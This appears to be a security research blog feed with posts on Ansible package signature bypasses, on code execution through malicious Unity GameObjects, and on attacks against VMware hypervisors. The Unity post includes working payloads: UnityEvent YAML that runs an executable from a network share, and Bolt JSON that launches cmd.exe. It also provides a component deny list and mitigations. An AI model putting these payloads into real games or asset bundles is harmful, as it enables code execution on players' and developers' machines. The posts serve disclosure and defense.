Normal view

There are new articles available, click to refresh the page.
Before yesterdayVulnerabily Research

Hack Series: Is your Ansible Package Configuration Secure?

In our client assessment work hacking software and cloud systems of all types, we’re often asked to look into configuration management tools such as Ansible. In this post we’ll deep dive into what package management vulnerabilities in the world of Ansible look like. First we’ll recap what Ansible is, provide some tips for security pros to debug it at a lower level, and explore both a CVE in the dnf module and an interesting gotcha in the apt module.

To ensure we’re always looking out for DevSecOps and aiding defenders, our next post in this series will touch on the strengths and weaknesses of tools like Semgrep for catching vulnerabilities in Ansible configurations.

Ansible

Ansible is an open source, Python-based, configuration management tool developed by Red Hat. It enables DevOps and other system maintainers to easily write automation playbooks, composed of a series of tasks in YAML format, and then run those playbooks against targeted hosts. A key feature of Ansible is that it is agentless: the targeted hosts don’t need to have Ansible installed, just Python and SSH. The machine running the playbook (“control node” in Ansible speak) copies the Python code required to run the tasks to the targeted hosts (“managed nodes”) over SSH, and then executes that code remotely. Managed nodes are organized into groups in an “inventory” for easy targeting by playbooks.

codingpackets.com

In 2019 Ansible was the most popular cloud configuration management tool. While the paradigm of “immutable infrastructure” has led to more enthusiasm for choosing Terraform and Docker for performing several tasks that previously might have been done by Ansible, it is still an immensely popular tool for provisioning resources, services, and applications.

Ansible provides a large number of built-in modules, which are essentially high-level interfaces for calling common system commands like apt, yum, or sysctl. The modules are Python files that do the work of translating the specified YAML tasks into the commands that actually get executed on the managed nodes. For example, the following playbook contains a single Ansible task which uses the apt module to install NGINX on a Debian-based system. Normally an Ansible playbook would be run against a remote host, but in our examples we are targeting localhost for illustrative purposes:

- name: Sample Apt Module Playbook
  hosts: localhost
  become: yes
  become_user: root
  tasks:
    - name: ensure nginx is installed
      apt:
        name: nginx
        state: present

To understand better what this playbook is doing under the hood, let’s use a debugging technique that will come in useful when we look at vulnerabilities later. Since Ansible doesn’t natively provide a way to see the exact commands getting run, we can use a handy strace invocation. strace allows us to follow the flow of system calls that this playbook triggers when run normally under ansible-playbook, even as Ansible forks off multiple child processes (“-f” flag), so we can view the command that ultimately gets executed:

$ sudo strace -f -e trace=execve ansible-playbook playbook.yml 2>&1 | grep apt
[pid 11377] execve("/usr/bin/apt-get", ["/usr/bin/apt-get", "-y", "-o", "Dpkg::Options::=--force-confdef", "-o", "Dpkg::Options::=--force-confold", "install", "nginx"], 0x195b3e0 /* 33 vars */) = 0

Using both strace command line options ("-e trace=execve“) and the grep as filters, we are making sure that irrelevant system calls are not output to the terminal; this avoids the noise of all the setup code that both Ansible and the apt module need to run before finally fulfilling the task. Ultimately we can see that the playbook runs the command apt-get install nginx, with a few extra command line flags to automate accepting confirmation prompts and interactive dialogues.

If you are following along and don’t see the apt-get install command in the strace output, make sure NGINX is uninstalled first. To improve performance and prevent unwanted side-effects, Ansible first checks whether a task has already been achieved, and so returns early with an “ok” status if it thinks NGINX is already in the installed state.

Top 10 Tips for Ansible Security Audits

As shown, Ansible transforms tasks declared in simple YAML format into system commands often run as root on the managed nodes. This layer of abstraction can easily turn into a mismatch between what a task appears to do and what actually happens under the hood. We will explore where such mismatches in Ansible’s built-in modules make it possible to create configuration vulnerabilities across all managed nodes.

But first, let’s take a step back and contextualize this by running through general tips if you are auditing an Ansible-managed infrastructure. From an infrastructure security perspective, Ansible does not expose as much attack surface as some other configuration management tools. SSH is the default transport used to connect from the control node to the managed nodes, so Ansible traffic takes advantage of the sane defaults, cryptography, and integration with Linux servers that the OpenSSH server offers. However, Ansible can be deployed in many ways, and best practices may be missed when writing roles and playbooks. Here are IncludeSec’s top 10 Ansible security checks to remember when reviewing a configuration:

  1. Is an old version of Ansible being used which is vulnerable to known CVEs?
  2. Are hardcoded secrets checked into YAML files?
  3. Are managed nodes in different environments (production, development, staging) not appropriately separated into inventories?
  4. Are the control nodes which Ansible is running from not completely locked down?
  5. Are unsafe lookups which facilitate template injection enabled?
  6. Are SSHD config files using unrecommended settings like permitting root login or enabling remote port forwarding?
  7. Are alternative connection methods being used (such as ansible-pull) and are they being appropriately secured?
  8. Is the output of playbook runs not being logged or audited by default?
  9. Is the confidential output of privileged tasks being logged?
  10. Are high-impact roles/tasks (e.g. those that are managing authentication, or installing packages) actually doing what they appear to be?

Whether those tips apply will obviously vary depending on whether the organization is managing Ansible behind a tool like Ansible Tower, or if it’s a startup where all developers have SSH access to production. However, one thing that remains constant is that Ansible is typically used to install packages to setup managed nodes, so configuration vulnerabilities in package management tasks are of particular interest. We will focus on cases where declaring common package management operations in Ansible YAML format can have unintended security consequences.

CVE-2020-14365: Package Signature Ignored in dnf Module

The most obvious type of mismatch between YAML abstraction and reality in an Ansible module would be an outright bug. A recent example of this is CVE-2020-14365. The dnf module installs packages using the dnf package manager, the successor of yum and the default on Fedora Linux. The bug was that the module didn’t perform signature verification on packages it downloaded. Here is an example of a vulnerable task when run on Ansible versions <2.8.15 and <2.9.13:

- name: The task in this playbook was vulnerable to CVE-2020-14365
  hosts: localhost
  become: yes
  become_user: root
  tasks:
    - name: ensure nginx is installed
      dnf:
        name: nginx
        state: present

The vulnerability is severe when targeted by advanced attackers; an opening for supply-chain attack. The lack of signature verification makes it possible for both the package mirror and man-in-the-middle (MITM) attackers on the network in between to supply their own packages which execute arbitrary commands as root on the host during installation.

For more details about how to perform such an attack, this guide walks through injecting backdoored apt packages from a MITM perspective. The scenario was presented a few years ago on a HackTheBox machine.

The issue is exacerbated by the fact that in most cases on Linux distros, GPG package signatures are the only thing giving authenticity and integrity to the downloaded packages. Package mirrors don’t widely use HTTPS (see Why APT does not use HTTPS for the justification), including dnf. With HTTPS transport between mirror and host, the CVE is still exploitable by a malicious mirror but at least the MITM attacks are a lot harder to pull off. We ran a quick test and despite Fedora using more HTTPS mirrors than Debian, some default mirrors selected due to geographical proximity were HTTP-only:

The root cause of the CVE was that the Ansible dnf module imported a Python module as an interface for handling dnf operations, but did not call a crucial _sig_check_pkg() function. Presumably, this check was either forgotten or assumed to be performed automatically in the imported module.

Package Signature Checks Can be Bypassed When Downgrading Package Versions

The dnf example was clearly a bug, now patched, so let’s move on to a more subtle type of mismatch where the YAML interface doesn’t map cleanly to the desired low-level behavior. This time it is in the apt package manager module and is a mistake we have seen in several production Ansible playbooks.

In a large infrastructure, it is common to install packages from multiple sources, from a mixture of official distro repositories, third-party repositories, and in-house repositories. Sometimes the latest version of a package will cause dependency problems or remove features which are relied upon. The solution which busy teams often choose is to downgrade the package to the last version that was working. While downgrades should never be a long-term solution, they can be necessary when the latest version is actively breaking production or a package update contains a bug.

When run interactively from the command line, apt install (and apt-get install, they are identical for our purposes) allows you to specify an older version you want to downgrade to, and it will do the job. But when accepting confirmation prompts automatically (in “-y” mode, which Ansible uses), apt will error out unless the --allow-downgrades argument is explicitly specified. Further confirmation is required since a downgrade may break other packages. But the Ansible apt module doesn’t offer an --allow-downgrades option equivalent; there’s no clear way to make a downgrade work using Ansible.

The first Stackoverflow answer that comes up when searching for “ansible downgrade package” recommends using force: true (or force: yes which is equivalent in YAML):

- name: Downgrade NGINX in a way that is vulnerable
  hosts: localhost
  become: yes
  become_user: root
  tasks:
    - name: ensure nginx is installed
      apt:
        name: nginx=1.14.0-0ubuntu1.2
        force: true
        state: present

This works fine, and without follow-up, this pattern can become a fixture of the configuration which an organization runs regularly across hosts. Unfortunately, it creates a vulnerability similar to the dnf CVE, disabling signature verification.

To look into what is going on, let’s use the strace command line to see the full invocation:

$ sudo strace -f -e trace=execve ansible-playbook apt_force_true.yml 2>&1 | grep apt
[pid 479683] execve("/usr/bin/apt-get", ["/usr/bin/apt-get", "-y", "-o", "Dpkg::Options::=--force-confdef", "-o", "Dpkg::Options::=--force-confold", "--force-yes", "install", "nginx=1.14.0-0ubuntu1.2"], 0x1209b40 /* 33 vars */) = 0

The force: true option has added the –force-yes parameter (as stated in the apt module docs). --force-yes is a blunt hammer that will ignore any problems with the installation, including a bad signature on the downloaded package. If this same apt-get install command is run manually from the command line, it will warn: --force-yes is deprecated, use one of the options starting with --allow instead. And to Ansible’s credit, it also warns in the docs that force “is a destructive operation with the potential to destroy your system, and it should almost never be used.”

So why is use of force: true so prevalent across Ansible deployments we have seen? It’s because there’s no alternative for this common downgrade use-case besides running the full apt install command line using the command or shell modules, which is stylistically the opposite of what Ansible is all about.

On the Ansible issue tracker, people have been asking for years for an allow_downgrade option for the apt module, but two separate pull requests have been stuck in limbo because they do not meet the needs of the project. Ansible requires integration tests for every feature, and they are difficult to provide for this functionality since Debian-derived distros don’t normally host older versions of packages in their default repositories to downgrade to. The yum and dnf modules have had an allow_downgrade option since 2018.

Fixing the Problem

At IncludeSec we like to contribute to open source where we can, so we’ve opened a pull request to resolve this shortcoming of the apt module, by adding an allow_downgrade option. This time, the change has integration tests and will hopefully meet the requirements of the project and get merged!

In the meantime, how to safely drop back to an old version of a package in an Ansible managed infrastructure? First, run a one-time apt install command with the --allow-downgrades option. Next, subsequent upgrades of the package can be prevented using either Apt Pinning or dpkg holding, native methods in Debian-derived distros to do this. The hold can be performed by Ansible with the dpkg_selections module:

- name: Downgrade and Hold a Package
  hosts: localhost
  become: yes
  become_user: root
  tasks:
    - name: ensure nginx is downgraded
      command:
        cmd: "apt install -y -o Dpkg::Options::=--force-confold -o Dpkg::Options::=--force-confdef --allow-downgrades nginx=1.16.0-1~buster"
    - name: ensure nginx is held back
      dpkg_selections:
        name: nginx
        selection: hold

Overall the approach isn’t obvious nor pretty and is therefore a perfect example of a mismatch between the YAML abstraction which appears to just force a downgrade, and the reality which is that it forces ignoring signature verification errors too. We hope this will change soon.

The next part of this series will explore using Semgrep to identify this vulnerability and others in Ansible playbooks. We’ll review the top 10 Ansible security audits checks presented and see how much of the hard work can be automated through static analysis. We’ve got a lot more to say about this, stay tuned for our next post on the topic!

The post Hack Series: Is your Ansible Package Configuration Secure? appeared first on Include Security Research Blog.

Hacking Unity Games with Malicious GameObjects

At IncludeSec our clients are asking us to hack on all sorts of crazy applications from mass scale web systems to IoT devices and low-level firmware. Something that we’re seeing more of is hacking virtual reality systems and mass scale video games so we had a chance to do some research and came up with what we believe to be a novel attack against Unity-powered games!

Specifically, this post will outline:

  • Two ways I found that GameObjects (a non-code asset type) can be crafted to cause arbitrary code to run.
  • Five possible ways an attacker might use a malicious GameObject to compromise a Unity game.
  • How game developers can mitigate the risk.

Unity has also published their own blog post on this subject. Be sure to check that out for their specific recommendations and how to protect against this sort of vulnerability.

Terminology

First a brief primer on the terms I’m going to use for those less familiar with Unity.

  • GameObjects are entities in Unity that can have any number of components attached.
  • Components are added to GameObjects to make them do things. They include Unity built-in components, like UI elements and sprite renderers, as well as custom scripted components used to build the game logic.
  • Assets are the elements that make up the game. This includes images, sounds, scripts, and GameObjects, among other things.
  • AssetBundles are a way to package non-code assets and allow them to be loaded at runtime (from the web or locally). They are used to decrease initial download size, allow downloadable content, as well as sometimes to enable modding of the game.

Ways a malicious GameObject could get into a game

Before going into details about how a GameObject could execute code, let’s talk about how it would get in the game in the first place so that we’re clear on the attack scenarios. I came up with five ways a malicious GameObject might find its way into a Unity game:

Way 1: the most obvious route is if the game developer downloaded it and added it to the game project. This might be an asset they purchased on the Unity Asset Store, or something they found on GitHub that solved a problem they were having.

Way 2: Unity AssetBundles allow non-script assets (including GameObjects) to be imported into a game at runtime. There may be an assumption that these assets are safe, since they contain no custom script assets, but as you’ll see further into the post that is not a safe assumption. For example, sometimes AssetBundles are used to add modding functionality to a game. If that’s the case, then third-party mods downloaded by a user can unexpectedly cause code execution, similar to running untrusted programs from the internet.

Way 3: AssetBundles can be downloaded from the internet at runtime without transport encryption enabling man-in-the-middle attacks. The Unity documentation has an example of how to do this, partially listed below:

UnityWebRequest uwr = UnityWebRequestAssetBundle.GetAssetBundle("http://www.my-server.com/mybundle")

In the Unity-provided example, the AssetBundle is being downloaded over HTTP. If an AssetBundle is downloaded over HTTP (which lacks the encryption and certificate validation of HTTPS), an attacker with a man-in-the-middle position of whoever is running the game could tamper with the AssetBundle in transit and replace it with a malicious one. This could, for example, affect players who are playing on an untrusted network such as a public WiFi access point.

Way 4: AssetBundles can be downloaded from the internet at runtime with transport encryption but man-in-the-middle attacks might still be possible.

Unity has this to say about certificate validation when using UnityWebRequests:

Some platforms will validate certificates against a root certificate authority store. Other platforms will simply bypass certificate validation completely.

According to the docs, even if you use HTTPS, on certain platforms Unity won’t check certificates to verify it’s communicating with the intended server, opening the door for possible AssetBundle tampering. It’s possible to create your own certificate handler, but only on specific platforms:

Note: Custom certificate validation is currently only implemented for the following platforms – Android, iOS, tvOS and desktop platforms.

I could not find information about which platforms “bypass certificate validation completely”, but I’m guessing it’s the less-common ones? Still, if you’re developing a game that downloads AssetBundles, you might want to verify that certificate validation is working on the platforms you use.

Way 5: Malicious insider. A contributor on a development team or open source project wants to add some bad code to a game. But maybe the dev team has code reviews to prevent this sort of thing. Likely, those code reviews don’t extend to the GameObjects themselves, so the attacker smuggles their code into a GameObject that gets deployed with the game.

Crafting malicious GameObjects

I think it’s pretty obvious why you wouldn’t want arbitrary code running in your game — it might compromise players’ computers, steal their data, crash the game, etc. If the malicious code runs on a development machine, the attacker could potentially steal the source code or pivot to attack the studio’s internal network. Peter Clemenko had another interesting perspective on his blog: essentially, in the near-future augmented-reality cyberpunk ready-player-1 upcoming world an attacker may seek to inject things into a user’s reality to confuse, distract, annoy, and that might cause real-world harm.

So, how can non-script assets get code execution?

Method 1: UnityEvents

Unity has an event system that allows hooking up delegates in code that will be called when an event is triggered. You can use them in your custom scripts for game-specific events, and they are also used on Unity’s built-in UI components (such as Buttons) for event handlers (like onClick) . Additionally, you can add ones to objects such as PointerClick, PointerEnter, Scroll, etc. using an EventTrigger component

One-parameter UnityEvents can be exposed in the inspector by components. In normal usage, setting up a UnityEvent looks like this in the Unity inspector:

First you have to assign a GameObject to receive the event callback (in this case, “Main Camera”). Then you can look through methods and properties on any components attached to that GameObject, and select a handler method.

Many assets in Unity, including scenes and GameObject prefabs, are serialized as YAML files that store the various properties of the object. Opening up the object containing the above event trigger, the YAML looks like this:

MonoBehaviour:
  m_ObjectHideFlags: 0
  m_CorrespondingSourceObject: {fileID: 0}
  m_PrefabInstance: {fileID: 0}
  m_PrefabAsset: {fileID: 0}
  m_GameObject: {fileID: 1978173272}
  m_Enabled: 1
  m_EditorHideFlags: 0
  m_Script: {fileID: 11500000, guid: d0b148fe25e99eb48b9724523833bab1, type: 3}
  m_Name:
  m_EditorClassIdentifier:
  m_Delegates:
  - eventID: 4
    callback:
      m_PersistentCalls:
        m_Calls:
        - m_Target: {fileID: 963194228}
          m_TargetAssemblyTypeName: UnityEngine.Component, UnityEngine
          m_MethodName: SendMessage
          m_Mode: 5
          m_Arguments:
            m_ObjectArgument: {fileID: 0}
            m_ObjectArgumentAssemblyTypeName: UnityEngine.Object, UnityEngine
            m_IntArgument: 0
            m_FloatArgument: 0
            m_StringArgument: asdf
            m_BoolArgument: 0
          m_CallState: 2

The most important part is under m_Delegates — that’s what controls which methods are invoked when the event is triggered. I did some digging in the Unity C# source repo along with some experimenting to figure out what some of these properties are. First, to summarize my findings: UnityEvents can call any method that has a return type void and takes zero or one argument of a supported type. This includes private methods, setters, and static methods. Although the UI restricts you to invoking methods available on a specific GameObject, editing the object’s YAML does not have that restriction — they can call any method in a loaded assembly . You can skip to exploitation below if you don’t need more details of how this works.

Technical details

UnityEvents technically support delegate functions with anywhere from zero to four parameters, but unfortunately Unity does not use any UnityEvents with greater than one parameter for its built-in components (and I found no way to encode more parameters into the YAML). We are therefore limited to one-parameter functions for our attack.

The important fields in the above YAML are:

  • eventID — This is specific to EventTriggers (rather than UI components.) It specifies the type of event, PointerClick, PointerHover, etc. PointerClick is “4”.
  • m_TargetAssemblyTypeName — this is the fully qualified .NET type name that the event handler function will be called on. Essentially this takes the form: namespace.typename, assemblyname. It can be anything in one of the assemblies loaded by Unity, including all Unity engine stuff as well as a lot of .NET stuff.
  • m_callstate — Determines when the event triggers — only during a game, or also while using the Unity Editor:
    • 0 – UnityEventCallState.Off
    • 1 – UnityEventCallState.EditorAndRuntime
    • 2 – UnityEventCallState.RuntimeOnly
  • m_mode — Determines the argument type of the called function.
    • 0 – EventDefined
    • 1 – Void,
    • 2 – Object,
    • 3 – Int,
    • 4 – Float,
    • 5 – String,
    • 6 – Bool
  • m_target — Specify the Unity object instance that the method will be called on. Specifying m_target: {fileId: 0} allows static methods to be called.

Unity uses C# reflection to obtain the method to call based on the above. The code ultimately used to obtain the method is shown below:

objectType.GetMethod(functionName, BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Instance | BindingFlags.Static, null, argumentTypes, null);

With the binding flags provided, it’s possible to specify private or public methods, static or instance methods. When calling the function, a delegate is created with type UnityAction that has a return type of void — therefore, the specified function must have a void return type.

Exploitation

My goal after discovering the above was to find some method available in the default loaded assemblies fitting the correct form (static, return void, exactly 1 parameter) which would let me do Bad Things™. Ideally, I wanted to get arbitrary code execution, but other things could be interesting too. If I could hook up an event handler to something dangerous, we would have a malicious GameObject.

I was quickly able to get arbitrary code execution on Windows machines by invoking Application.OpenURL() with a UNC path pointing to a malicious executable on a network share. The attacker would host a malicious exe file, and wait for the game client to trigger the event. OpenURL will then download and execute the payload. 

Below is the event definition I used  in the object YAML:

- m_Target: {fileID: 0}
  m_TargetAssemblyTypeName: UnityEngine.Application, UnityEngine
  m_MethodName: OpenURL
  m_Mode: 5
  m_Arguments:
    m_ObjectArgument: {fileID: 0}
    m_ObjectArgumentAssemblyTypeName: UnityEngine.Object, UnityEngine
    m_IntArgument: 0
    m_FloatArgument: 0
    m_StringArgument: file://JASON-INCLUDESE/shared/calc.exe
    m_BoolArgument: 0
  m_CallState: 2

It sets an OnPointerClick handler on an object with a large bounding box (to ensure it gets triggered). When the victim user clicks, it retrieves calc.exe from a network share and executes it. In a hypothetical attack the exe file would likely be on the internet, but I hosted on my local network. Here’s a gif of what happens when you click the object:

This got arbitrary code execution on Windows from a malicious GameObject either in an AssetBundle or included in the project. However, the network drive method won’t work on non-Windows platforms unless they’ve specifically mounted a share, since they don’t automatically open UNC paths. What about those platforms?

Another interesting function is EditorUtility.OpenWithDefaultApp(). It takes a string path to a file, and opens it up with the system’s default app for this file type. One useful part is that it takes relative paths in the project. An attacker who can get malicious executables into your project can call this function with the relative path to their executable to get them to run.

For example, on macOS I compiled the following C program which writes “hello there” to /tmp/hello:

#include <stdio.h>;
int main() {
  FILE* fp = fopen("/tmp/hello");
  fprintf(fp, "hello there");
  fclose(fp);
  return 0;
}

I included the compiled binary in my Assets folder as “hello” (no extension — this is important!) Then I set up the following onClick event on a button:

m_OnClick:
  m_PersistentCalls:
    m_Calls:
    - m_Target: {fileID: 0}
      m_TargetAssemblyTypeName: UnityEditor.EditorUtility, UnityEditor
      m_MethodName: OpenWithDefaultApp
      m_Mode: 5
      m_Arguments:
        m_ObjectArgument: {fileID: 0}
        m_ObjectArgumentAssemblyTypeName: UnityEngine.Object, UnityEngine
        m_IntArgument: 0
        m_FloatArgument: 0
        m_StringArgument: Assets/hello
        m_BoolArgument: 0
      m_CallState: 2

It now executes the executable when you click the button:

This doesn’t work for AssetBundles though, because the unpacked contents of AssetBundles aren’t written to disk. Although the above might be an exploitation path in some scenarios, my main goal was to get code execution from AssetBundles, so I kept looking for methods that might let me do that on Mac (on Windows, it’s possible with OpenURL(), as previously shown). I used the following regex in SublimeText to search over the UnityCsReference repository for any matching functions that a UnityEvent could call: static( extern|) void [A-Za-z\w_]*\((string|int|bool|float) [A-Za-z\w_]*\)

After pouring over the 426 discovered methods, I fell a short of getting completely arbitrary code exec from AssetBundles on non-Windows platforms — although I still think it’s probably possible. I did find a bunch of other ways such a GameObject could do Bad Things™. This is just a small sampling:

Unity.CodeEditor.CodeEditor.SetExternalScriptEditor() Can change a user’s default code editor to arbitrary values. Setting it to a malicious UNC executable can achieve code execution whenever they trigger Unity to open a code editor, similar to the OpenURL exploitation path.
PlayerPrefs.DeleteAll() Delete all save games and other stored data.
UnityEditor.FileUtil.UnityDirectoryDelete() Invokes Directory.Delete() on the specified directory.
UnityEngine.ScreenCapture.CaptureScreenshot() Takes a screenshot of the game window to a specified file. Will automatically overwrite the specified file. Can be written to UNC paths in Windows.
UnityEditor.PlayerSettings.SetAdditionalIl2CppArgs() Add flags to be passed to the Il2Cpp compiler.
UnityEditor.BuildPlayerWindow.BuildPlayerAndRun() Trigger the game to build. In my testing I couldn’t get this to work, but combined with the Il2Cpp flag function above it could be interesting.
Application.Quit(), EditorApplication.Exit() Quit out of the game/editor.

Method 2: Visual scripting systems

There are various visual scripting systems for Unity that let you create logic without code. If you have imported one of these into your project, any third-party GameObject you import can use the visual scripting system. Some of the systems are more powerful or less powerful. I will focus on Bolt as an example since it’s pretty popular, Unity acquired it, and it’s now free. 

This attack vector was proposed on Peter Clemenko’s blog I mentioned earlier, but it focused on malicious entity injection — I think it should be clarified that, using Bolt, it’s possible for imported GameObjects to achieve arbitrary code execution as well, including shell command execution.

With the default settings, Bolt does not show many of the methods available to you in the loaded assemblies in its UI. Once again, though, you have more options if you edit the YAML than you do in the UI. For example, if you make a simple Bolt flow graph like the following:

The YAML looks like:

MonoBehaviour:
  m_ObjectHideFlags: 0
  m_CorrespondingSourceObject: {fileID: 0}
  m_PrefabInstance: {fileID: 0}
  m_PrefabAsset: {fileID: 0}
  m_GameObject: {fileID: 2032548220}
  m_Enabled: 1
  m_EditorHideFlags: 0
  m_Script: {fileID: -57143145, guid: a040fb66244a7f54289914d98ea4ef7d, type: 3}
  m_Name:
  m_EditorClassIdentifier:
  _data:
    _json: '{"nest":{"source":"Embed","macro":null,"embed":{"variables":{"collection":{"$content":[],"$version":"A"},"$version":"A"},"controlInputDefinitions":[],"controlOutputDefinitions":[],"valueInputDefinitions":[],"valueOutputDefinitions":[],"title":null,"summary":null,"pan":{"x":117.0,"y":-103.0},"zoom":1.0,"elements":[{"coroutine":false,"defaultValues":{},"position":{"x":-204.0,"y":-144.0},"guid":"a4dcd43b-833d-49f5-8642-b6c311cf324f","$version":"A","$type":"Bolt.Start","$id":"10"},{"chainable":false,"member":{"name":"OpenURL","parameterTypes":["System.String"],"targetType":"UnityEngine.Application","targetTypeName":"UnityEngine.Application","$version":"A"},"defaultValues":{"%url":{"$content":"https://includesecurity.com","$type":"System.String"}},"position":{"x":-59.0,"y":-145.0},"guid":"395d9bac-f1da-4173-9e4b-b19d156c9a0b","$version":"A","$type":"Bolt.InvokeMember","$id":"12"},{"sourceUnit":{"$ref":"10"},"sourceKey":"trigger","destinationUnit":{"$ref":"12"},"destinationKey":"enter","guid":"d9cae7fd-e05b-48c6-b16d-5f04b0c722a6","$type":"Bolt.ControlConnection"}],"$version":"A"}}}'
    _objectReferences: []

The _json field seems to be where the meat is. Un-minifying it and focusing on the important parts:

[...]
  "member": {
    "name": "OpenURL",
    "parameterTypes": [
        "System.String"
    ],
    "targetType": "UnityEngine.Application",
    "targetTypeName": "UnityEngine.Application",
    "$version": "A"
  },
  "defaultValues": {
    "%url": {
        "$content": "https://includesecurity.com",
        "$type": "System.String"
    }
  },
[...]

It can be changed from here to a version that runs arbitrary shell commands using System.Diagnostics.Process.Start:

[...]
{
  "chainable": false,
  "member": {
    "name": "Start",
    "parameterTypes": [
        "System.String",
        "System.String"
    ],
    "targetType": "System.Diagnostics.Process",
    "targetTypeName": "System.Diagnostics.Process",
    "$version": "A"
  },
  "defaultValues": {
    "%fileName": {
        "$content": "cmd.exe",
        "$type": "System.String"
    },
    "%arguments": {
         "$content": "/c calc.exe",
         "$type": "System.String"
    }
  },
[...]

This is what that looks like now in Unity:

A malicious GameObject imported into a project that uses Bolt can do anything it wants.

How to prevent this

Third-party assets

It’s unavoidable for many dev teams to use third-party assets in their game, be it from the asset store or an outsourced art team. Still, the dev team can spend some time scrutinizing these assets before inclusion in their game — first evaluating the asset creator’s trustworthiness before importing it into their project, then reviewing it (more or less carefully depending on how much you trust the creator). 

AssetBundles

When downloading AssetBundles, make sure they are hosted securely with HTTPS. You should also double check that Unity validates HTTPS certificates on all platforms your game runs — do this by setting up a server with a self-signed certificate and trying to download an AssetBundle from it over HTTPS. On the Windows editor, where certificate validation is verified as working, doing this creates an error like the following and sets the UnityWebRequest.isNetworkError property to true:

If the download works with no error, then an attacker could insert their own HTTPS server in between the client and server, and inject a malicious AssetBundle. 

If Unity does not validate certificates on your platform and you are not on one of the platforms that allows for custom certificate checking, you probably have to implement your own solution — likely integrating a different HTTP client that does check certificates and/or signing the AssetBundles in some way.

When possible, don’t download AssetBundles from third-parties. This is impossible, though, if you rely on AssetBundles for modding functionality. In that case, you might try to sanitize objects you receive. I know that Bolt scripts are dangerous, as well as anything containing a UnityEvent (I’m aware of EventTriggers and various UI elements). The following code strips these dangerous components recursively from a downloaded GameObject asset before instantiating:

private static void SanitizePrefab(GameObject prefab)
{
    System.Type[] badComponents = new System.Type[] {
        typeof(UnityEngine.EventSystems.EventTrigger),
        typeof(Bolt.FlowMachine),
        typeof(Bolt.StateMachine),
        typeof(UnityEngine.EventSystems.UIBehaviour)
    };

    foreach (var componentType in badComponents) {
        foreach (var component in prefab.GetComponentsInChildren(componentType, true)) {
            DestroyImmediate(component, true);
        }
    }
}

public static Object SafeInstantiate(GameObject prefab)
{
    SanitizePrefab(prefab);
    return Instantiate(prefab);
}

public void Load()
{
    AssetBundle ab = AssetBundle.LoadFromFile(Path.Combine(Application.streamingAssetsPath, "evilassets"));

    GameObject evilGO = ab.LoadAsset<GameObject>("EvilGameObject");
    GameObject evilBolt = ab.LoadAsset<GameObject>("EvilBoltObject");
    GameObject evilUI = ab.LoadAsset<GameObject>("EvilUI");

    SafeInstantiate(evilGO);
    SafeInstantiate(evilBolt);
    SafeInstantiate(evilUI);

    ab.Unload(false);
}

Note that we haven’t done a full audit of Unity and we pretty much expect that there are other tricks with UnityEvents, or other ways for a GameObject to get code execution. But the code above at least protects against all of the attacks outlined in this blog.

If it’s essential to allow any of these things (such as Bolt scripts) to be imported into your game from AssetBundles, it gets trickier. Most likely the developer will want to create a white list of methods Bolt is allowed to call, and then attempt to remove any methods not on the whitelist before instantiating dynamically loaded GameObjects containing Bolt scripts. The whitelist could be something like “only allow methods in the MyCompanyName.ModStuff namespace.”  Allowing all of the UnityEngine namespace would not be good enough because of things like Application.OpenURL, but you could wrap anything you need in another namespace. Using a blacklist to specifically reject bad methods is not recommended, the surface area is just too large and it’s likely something important will be missed, though a combination of white list and black list may be possible with high confidence.

In general game developers need to decide how much protection they want to add at the app layer vs. putting the risk decision in the hands of a game end-user’s own judgement on what mods to run, just like it’s on them what executables they download. That’s fair, but it might be a good idea to at least give the gamers a heads up that this could be dangerous via documentation and notifications in the UI layer. They may not expect that mods could do any harm to their computer, and might be more careful once they know.

As mentioned above, if you’d like to read more about Unity’s fix for this and their recommendations, be sure to check out their blog post!

The post Hacking Unity Games with Malicious GameObjects appeared first on Include Security Research Blog.

Are Virtual Machines the New Gold for Cyber Criminals?

AI Cyber Security

Introduction

Virtualization technology has been an IT cornerstone for organization for years now. It revolutionized the way organizations can scale up IT systems in a heartbeat, allowing then to be more agile as opposed to investing into dedicated “bare-metal” hardware. To the outside untrained eye, it might seem that there are different machines on the network, while in fact all the “separate” machines are controlled by a hypervisor server. Virtualization plays such a big role nowadays that it isn’t only used to spin up servers but also anything from virtual applications to virtual user desktops.

This is something cyber criminals have been noticing too and we have seen an increased interest in hypervisors. After all, why attack the single virtual machine when you can go after the hypervisor and control all the machines at once?

In recent months several high impact CVEs regarding virtualization software have been released which allowed for Remote Code Execution (RCE); initial access brokers are offering compromised VMware vCenter servers online, as well as ransomware groups developing specific ransomware binaries for encrypting ESXi servers.

VMware CVE-2021-21985 & CVE-2021-21986

On the 25th of May VMware disclosed a vulnerability impacting VMware vCenter servers allowing for Remote Code Execution on internet accessible vCenter servers, version 6.5,6.7 and 7.0. VMware vCenter is a management tool, used to manage virtual machines and ESXi servers.

CVE-2021-21985 is a remote code execution (RCE) vulnerability in the vSphere Client via the Virtual SAN (vSAN) Health Check plugin. This plugin is enabled by default. The combination of RCE and default enablement of the plugin resulted in this being scored as a critical flaw with a CVSSv3 score of 9.8.

An attacker needs to be able to access vCenter over TCP port 443 to exploit this vulnerability. It doesn’t matter if the vCenter is remotely exposed or when the attacker has internal access.

The same exploit vector is applicable for CVE-2021-21986, which is an authentication mechanism issue in several vCenter Server Plug-ins. It would allow an attacker to run plugin functions without authentication. This leads to the CVE being scored as a ‘moderate severity’, with a CVSSv3 score of 6.5.

While writing this blog, a Proof-of-Concept was discovered that will test if the vulnerability exists; it will not execute the remote-code. The Nmap plugin can be downloaded from this location: https://github.com/alt3kx/CVE-2021-21985_PoC.

Searching with the Shodan search engine, narrowing it down to the TCP 443 port, we observe that close to 82,000 internet accessible ESXi servers are exposedZooming in further on the versions that are affected by these vulnerabilities,  almost 55,000 publicly accessible ESXi servers are potentially vulnerable to CVE-2021-21985 and CVE-2021-21986, providing remote access to them and making them potential candidates for ransomware attacks, as we will read about in the next paragraphs.

Ransomware Actors Going After Virtual Environments

Ransomware groups are always trying to find ways to hit their victims where it hurts. So, it is only logical that they are adapting to attacking virtualization environments and the native Unix/Linux machines running the hypervisors. In the past, ransomware groups were quick to abuse earlier CVEs affecting VMware. But aside from the disclosed CVEs, ransomware groups have also adapted their binaries specifically to encrypt virtual machines and their management environment. Below are some of the ransomware groups we have observed.

DarkSide Ransomware

Figure 1. Screenshot from the DarkSide ransomware group, explicitly mentioning its Linux-based encryptor and support for ESXi and NAS systems

McAfee Advanced Threat Research (ATR) analyzed the DarkSide Linux binary in our recent blog and we can confirm that a specific routine aimed at virtual machines is present in it.

Figure 2. DarkSide VMware Code routine

